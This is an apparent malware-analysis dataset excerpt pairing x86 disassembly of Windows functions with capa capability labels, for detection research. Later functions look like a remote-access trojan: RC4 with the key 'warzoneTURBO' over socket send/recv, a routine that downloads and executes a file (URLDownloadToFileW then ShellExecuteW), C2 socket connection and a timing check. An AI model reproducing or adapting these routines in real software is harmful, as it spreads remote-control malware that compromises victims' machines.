joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4f7fef
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4f8027
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004f606a
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004f6042
jmp 0x4f8033
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4f97e9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4f982b
call fcn.004ffc32
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4f982b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4f9822
xor eax, eax
jmp 0x4f9833
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004f9839
pop edi
pop esi
pop ebx
ret 4

Function at 0x500162
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x500190
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x5001ae
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.005000c8
jmp 0x5001ae
mov eax, dword [esi + 0x14]
test eax, eax
je 0x5001ae
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.005000c8
test edi, edi
mov eax, edi
jne 0x500198
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x404d05
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jb 0x404d29
jmp 0x404d33
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x404d19
mov esp, ebp
pop ebp
ret

Function at 0x406869
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x406889
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00409272
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4068aa
test byte [esp + 8], 2
je 0x4068aa
mov dword [0x415ec0], 0xd
mov dword [0x415ec4], 5
jmp 0x406885
xor eax, eax
ret

Function at 0x408b81
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40e978
cmp edx, dword [eax]
je 0x408ba3
add eax, 8
inc ecx
cmp eax, 0x40ea08
jl 0x408b94
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40e978]
jne 0x408cd1
mov eax, dword [0x415f1c]
cmp eax, 1
je 0x408cab
test eax, eax
jne 0x408bd4
cmp dword [0x40e404], 1
je 0x408cab
cmp edx, 0xfc
je 0x408cd1
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x408c0b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004056a0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00405790
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x408c4e
lea eax, [ebp - 0x1a4]
push eax
call fcn.00405790
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40d4f4
push edi
call fcn.00406290
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004056a0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004056b0
lea eax, [ebp - 0xa0]
push 0x40d4d4
push eax
call fcn.004056b0
push dword [esi + 0x40e97c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004056b0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040b641
add esp, 0x2c
pop edi
jmp 0x408cd1
lea eax, [ebp + 8]
lea esi, [esi + 0x40e97c]
push 0
push eax
push dword [esi]
call fcn.00405790
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401f6d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, [esi + 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [esi], eax
test eax, eax
pop esi
setne cl
mov eax, ecx
pop ebp
ret 8

Function at 0x401f98
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x401fb2
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi], 0
pop esi
ret

Function at 0x4026bb
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 8]
push ebx
push esi
mov ebx, ecx
mov esi, edx
mov ecx, dword [eax + 4]
add eax, 8
push edi
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x10]
push eax
call fcn.0040373f
lea eax, [ebp + 8]
mov ecx, esi
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.00405db3
mov ecx, eax
call fcn.00403666
mov ecx, dword [ebp - 0xc]
call fcn.00405feb
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402743
and dword [ebp - 8], 0
lea edi, [ebp - 0x34]
push 8
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x2c], 1
push eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x28], 6
push eax
push 0
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x18]
mov esi, dword [eax + 4]
push ecx
lea eax, [ebp - 0x10]
mov ecx, esp
push eax
call fcn.0040373f
push esi
push dword [ebp - 0x14]
push ebx
push ecx
call fcn.00413e36
mov ecx, dword [ebp + 8]
call fcn.00405feb
mov ecx, dword [ebp - 0x10]
call fcn.00405feb
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40278b
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [edx + 4], esi
jne 0x4027be
lea eax, [edx + 8]
push eax
lea ecx, [ebp - 4]
call fcn.0040373f
push 5
push esi
push esi
push dword [ebp - 4]
push 0x4176a8
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
call fcn.00405feb
pop esi
leave
ret

Function at 0x4027ff
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ebx, dword [eax + 4]
mov esi, ecx
lea eax, [ebp + 8]
mov ecx, edx
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.00405db3
mov ecx, eax
call fcn.00403666
mov ecx, dword [ebp - 0xc]
call fcn.00405feb
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x402874
and dword [ebp - 8], 0
lea edi, [ebp - 0x2c]
push 8
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x24], 1
push eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x20], 6
push eax
push 0
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x18]
mov eax, dword [eax + 4]
push eax
push ebx
push esi
push ecx
call fcn.00415f88
mov ecx, dword [ebp + 8]
call fcn.00405feb
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40290e
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 8]
push 0x1a
pop edx
call fcn.00410c8a
push 0xa
pop edx
lea ecx, [ebp - 0xc]
call fcn.004035b9
push 0x4176a4
lea ecx, [ebp - 8]
mov esi, eax
call fcn.0040357c
push esi
mov ecx, eax
call fcn.00403447
mov ecx, dword [ebp - 0xc]
call fcn.00405feb
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0xc]
add edi, 4
push edi
call fcn.0040373f
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040362f
push eax
lea ecx, [ebp - 8]
call fcn.00403447
mov ecx, dword [ebp + 8]
call fcn.00405feb
mov ecx, dword [ebp - 0xc]
and dword [ebp + 8], 0
call fcn.00405feb
mov esi, dword [ebp - 8]
lea ecx, [ebp + 8]
push edi
call fcn.0040373f
xor edi, edi
push edi
push edi
push esi
push dword [ebp + 8]
push edi
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, dword [ebp + 8]
mov esi, eax
call fcn.00405feb
test esi, esi
je 0x4029b8
mov dword [ebp - 0xc], 1
jmp 0x4029da
push 5
push edi
push edi
push dword [ebp - 8]
push 0x4176a8
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0xc], 2
cmp eax, 0x20
jbe 0x4029da
mov dword [ebp - 0xc], edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x417810
push eax
mov ecx, ebx
call fcn.00405044
mov ecx, dword [ebp - 8]
call fcn.00405feb
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402a0a
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov edi, edx
push 0
push ecx
mov ecx, esp
lea esi, [edi + 8]
push esi
call fcn.0040373f
lea ecx, [ebp - 0x20]
call fcn.00411722
push esi
lea ecx, [ebp - 4]
call fcn.0040373f
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [ebp - 4]
mov esi, eax
call fcn.00405feb
push ecx
test esi, esi
jne 0x402a56
push ecx
lea ecx, [ebp - 0x20]
call fcn.004116f0
jmp 0x402a63
push 0x40000000
lea ecx, [ebp - 0x20]
call fcn.004116b1
test eax, eax
je 0x402a90
lea eax, [edi + 0x14]
push eax
lea ecx, [ebp - 8]
call fcn.0040315e
push ecx
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x20]
call fcn.0041165c
lea ecx, [ebp - 8]
call fcn.00403148
lea ecx, [ebp - 0x20]
call fcn.00411644
lea ecx, [ebp - 0x20]
call fcn.0041140c
pop edi
pop esi
leave
ret
Function at 0x402e27
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
mov ebx, ecx
lea ecx, [ebp - 0x14]
push edi
mov edi, edx
call fcn.00410e5e
lea ecx, [ebp - 0x10]
call fcn.00410d2d
push 0x104
lea eax, [ebp - 0x154]
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0xc]
mov dword [ebp - 0xc], esi
lea ecx, [ebp - 0x154]
call fcn.004134a2
mov edx, dword [ebp - 0xc]
lea ecx, [ebp - 8]
push ecx
push 0x10ad
mov ecx, eax
mov dword [ebp - 8], esi
call fcn.00413279
mov esi, dword [ebp - 0x14]
add esp, 4
mov ecx, esp
push dword [ebp - 0x10]
call fcn.004036f7
push ecx
mov ecx, esp
push esi
call fcn.004036f7
call fcn.00410f3e
push eax
push dword [ebp - 8]
push ecx
mov ecx, esp
push 0x417668
call fcn.004036f7
push ecx
mov ecx, esp
call fcn.0041119d
call fcn.00411177
push eax
call fcn.0041111b
push eax
call fcn.00410f61
push eax
push 0x10e
push ecx
push ecx
mov ecx, esp
call fcn.004111d7
lea ecx, [ebp - 0x48]
call fcn.0040430e
push eax
mov ecx, ebx
call fcn.00405044
lea ecx, [ebp - 0x48]
call fcn.004042cc
xor esi, esi
cmp dword [edi + 0x34], esi
je 0x402f5a
push 0x208
lea eax, [ebp - 0x35c]
push esi
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x35c]
push eax
push esi
push esi
push 0x1c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_Vision_
lea eax, [ebp - 0x35c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [ebp - 0x35c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push ebx
call fcn.0040906f
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x41a8b0
push eax
mov ecx, ebx
call fcn.00405044
mov ecx, dword [ebp - 0x10]
call fcn.00405feb
mov ecx, dword [ebp - 0x14]
call fcn.00405feb
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4032e6
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
lea eax, [ebp - 0x400]
push esi
push edi
push 0x400
push 0
push eax
mov esi, edx
mov edi, ecx
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x400]
push 0x1ff
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x400]
mov ecx, edi
push eax
call fcn.004036f7
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x4056f5
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0xc], 0xffffffff
jne 0x40570a
xor eax, eax
jmp 0x405778
push str.warzoneTURBO
lea ecx, [ebp - 8]
call fcn.004034d1
push eax
lea ecx, [ebp - 0x14]
call fcn.00403115
mov ecx, dword [ebp - 8]
call fcn.00405feb
mov esi, dword [ebp + 8]
push ecx
push ecx
mov ecx, esp
push esi
call fcn.0040315e
push ecx
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.0040315e
lea ecx, [ebp - 0xc]
call fcn.004061f0
add esp, 0x10
push 0
push dword [esi + 4]
push dword [ebp - 0xc]
push dword [edi + 0xc]
call dword [sym.imp.WS2_32.dll_send]
xor ebx, ebx
lea ecx, [ebp - 0xc]
cmp eax, 0xffffffff
setne bl
call fcn.00403148
lea ecx, [ebp - 0x14]
call fcn.00403148
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40577f
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10040
call fcn.004011c0
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0xc], 0xffffffff
je 0x405944
push 4
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0xea60
push eax
push 0x1006
mov esi, 0xffff
push esi
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_setsockopt]
push esi
xor esi, esi
lea eax, [ebp - 0x1003c]
push esi
push eax
call fcn.00401052
add esp, 0xc
mov dword [ebp - 0x38], esi
lea ecx, [ebp - 8]
mov dword [ebp - 0x34], esi
push str.warzoneTURBO
call fcn.004034d1
push eax
lea ecx, [ebp - 0x30]
call fcn.00403115
mov ecx, dword [ebp - 8]
call fcn.00405feb
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
push esi
push 0xc
lea eax, [ebp - 0x1003c]
push eax
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp edi, 0xc
jne 0x40589d
push eax
lea eax, [ebp - 0x1003c]
mov dword [ebp - 0xc], esi
push eax
lea ecx, [ebp - 0xc]
mov dword [ebp - 8], esi
call fcn.004030cc
push ecx
push ecx
lea eax, [ebp - 0xc]
mov ecx, esp
push eax
call fcn.0040315e
push ecx
push ecx
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.0040315e
lea ecx, [ebp - 0x28]
call fcn.004061f0
mov eax, dword [ebp - 0x28]
add esp, 0x10
mov eax, dword [eax + 4]
lea esi, [eax + 0xc]
test eax, eax
je 0x40588b
cmp esi, edi
je 0x40588b
push 0
mov eax, esi
sub eax, edi
push eax
lea eax, [ebp - 0x1003c]
add eax, edi
push eax
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40591c
add edi, eax
cmp esi, edi
jne 0x405863
lea ecx, [ebp - 0x28]
call fcn.00403148
lea ecx, [ebp - 0xc]
call fcn.00403148
jmp 0x4058a6
cmp edi, 0xffffffff
je 0x40592c
push edi
lea eax, [ebp - 0x1003c]
push eax
lea ecx, [ebp - 0x14]
call fcn.004030cc
push ecx
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.0040315e
push ecx
push ecx
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.0040315e
lea ecx, [ebp - 0x20]
call fcn.004061f0
add esp, 0x10
lea ecx, [ebx + 0x10]
call fcn.004030fe
push edi
push dword [ebp - 0x20]
lea ecx, [ebx + 0x10]
call fcn.004030cc
lea ecx, [ebp - 0x14]
call fcn.004030fe
lea ecx, [ebp - 0x20]
call fcn.004030fe
push dword [ebp + 8]
mov ecx, ebx
call fcn.0040507e
lea ecx, [ebp - 0x20]
call fcn.00403148
test edi, edi
jle 0x40592c
xor esi, esi
jmp 0x4057f9
lea ecx, [ebp - 0x28]
call fcn.00403148
lea ecx, [ebp - 0xc]
call fcn.00403148
lea ecx, [ebp - 0x14]
call fcn.00403148
lea ecx, [ebp - 0x30]
call fcn.00403148
lea ecx, [ebp - 0x38]
call fcn.00403148
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40594b
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
lea eax, [ebp + 8]
push ebx
push esi
push edi
push eax
mov ebx, ecx
call fcn.00403237
mov eax, dword [ebp + 0xc]
lea ecx, [ebx + 0x1d8]
mov dword [ebx + 4], eax
call fcn.0041178e
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
mov dword [ebp - 0x18], 6
push eax
lea eax, [ebp - 0x24]
xor edi, edi
push eax
push 0
push dword [ebp + 8]
inc edi
mov dword [ebp - 0x1c], edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x4059ff
mov eax, dword [ebp - 4]
push 0
push edi
push 2
mov esi, dword [eax + 0x18]
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 0xc], eax
cmp eax, 0xffffffff
je 0x4059ff
mov eax, dword [esi + 4]
lea esi, [ebx + 0x1c8]
push 2
mov dword [ebx + 0x1cc], eax
pop eax
push dword [ebp + 0xc]
mov word [esi], ax
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp - 4]
mov word [ebx + 0x1ca], ax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push 0x10
push esi
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x405a12
or dword [ebx + 0xc], eax
xor edi, edi
mov ecx, dword [ebp + 8]
call fcn.00405feb
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8
push dword [ebx + 0x1d8]
mov dword [ebx + 8], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x405a01

Function at 0x405a23
Capabilities:
Initialize winsock library

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.004032d5
xor edi, edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
push ecx
lea ecx, [esi + 0x1d8]
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
call fcn.004117b7
lea eax, [esi + 0x38]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
or dword [esi + 0xc], 0xffffffff
mov eax, esi
mov dword [esi + 0x18], edi
mov dword [esi + 0x24], edi
pop edi
pop esi
ret

Function at 0x405e28
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ecx, eax
mov al, byte [ecx]
cmp al, 0x22
jne 0x405e65
inc ecx
mov dl, byte [ecx]
test dl, dl
je 0x405e55
mov al, dl
mov dl, al
cmp al, 0x22
je 0x405e55
inc ecx
mov dl, byte [ecx]
mov al, dl
test dl, dl
jne 0x405e46
lea eax, [ecx + 1]
cmp dl, 0x22
cmovne eax, ecx
mov ecx, eax
jmp 0x405e70
inc ecx
mov al, byte [ecx]
cmp al, 0x20
jg 0x405e62
jmp 0x405e72
cmp al, 0x20
jg 0x405e76
inc ecx
mov al, byte [ecx]
test al, al
jne 0x405e6b
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00405eb6
mov edx, 0x41c030
mov ecx, section..data
call fcn.00405ee3
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ecx
push ecx
call fcn.004154eb
mov esi, eax
call fcn.00405ecb
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4060e7
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
mov dword [ebp - 4], edx
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
mov eax, esi
jmp 0x40614b
inc esi
and esi, 0x800000ff
jns 0x40610d
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [esi + ebx]
movzx edx, cl
add eax, edx
and eax, 0x800000ff
jns 0x406123
dec eax
or eax, 0xffffff00
inc eax
mov dword [ebp + 8], eax
mov al, byte [eax + ebx]
mov byte [esi + ebx], al
mov eax, dword [ebp + 8]
mov byte [eax + ebx], cl
movzx eax, byte [esi + ebx]
mov ecx, dword [ebp - 4]
add eax, edx
movzx eax, al
mov al, byte [eax + ebx]
xor byte [ecx], al
inc ecx
mov eax, dword [ebp + 8]
dec edi
mov dword [ebp - 4], ecx
test edi, edi
jg 0x4060fc
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4063b2
Capabilities:
Hash data using sha1

Disassembly:
and dword [ecx + 0x18], 0
and dword [ecx + 0x14], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x10], 0xc3d2e1f0
ret
Function at 0x4076ba
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0xc], ebx
lea eax, [ebx + 0x10]
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0041178e
mov ecx, dword [ebx + 8]
xor eax, eax
mov dword [ebp - 8], eax
test ecx, ecx
je 0x40771e
xor edi, edi
cmp eax, ecx
mov dword [ebp - 0x10], edi
setb cl
call fcn.00405de9
mov esi, dword [ebx]
mov edx, dword [ebp + 0xc]
add esi, edi
mov ecx, dword [ebx + 8]
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 8]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x24], edx
je 0x407734
mov edi, dword [ebp - 0x10]
add edi, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], edi
cmp eax, ecx
jb 0x4076e8
xor esi, esi
mov eax, dword [ebp - 0x1c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc
cmp esi, ecx
setb cl
call fcn.00405de9
imul ebx, esi, 0xc
lea edi, [ebp - 0x28]
mov esi, dword [ebp - 0xc]
mov esi, dword [esi]
add esi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x20]
call fcn.00405feb
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
cmp eax, dword [esi + 8]
setb cl
call fcn.00405de9
mov esi, dword [esi]
lea edi, [ebp - 0x28]
add esi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
push edi
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [ebp - 0xc]
mov esi, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], esi
cmp eax, dword [ebx + 8]
setb cl
call fcn.00405de9
mov eax, dword [ebx + 8]
mov ecx, dword [ebp - 0x14]
cmp ecx, eax
ja 0x4077ba
imul edx, ecx, 0xc
mov esi, dword [ebx]
add esi, edx
inc ecx
add edx, 0xc
lea edi, [esi - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebx + 8]
cmp ecx, eax
jbe 0x4077a0
mov esi, dword [ebp - 0x10]
xor edi, edi
dec eax
cmp dword [ebp + 0x10], 0
mov dword [ebx + 8], eax
je 0x407720
push 3
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push eax
push edi
push edi
push edi
push edi
push ecx
mov eax, esp
mov dword [ebp - 0x14], edi
push dword [ebp + 0xc]
lea ecx, [ebp - 0x4c]
mov dword [eax], edi
call fcn.004041b7
mov ecx, dword [ebp + 8]
push eax
call fcn.00405044
lea ecx, [ebp - 0x4c]
call fcn.0040411d
lea ecx, [ebp - 0x18]
call fcn.00403148
jmp 0x407720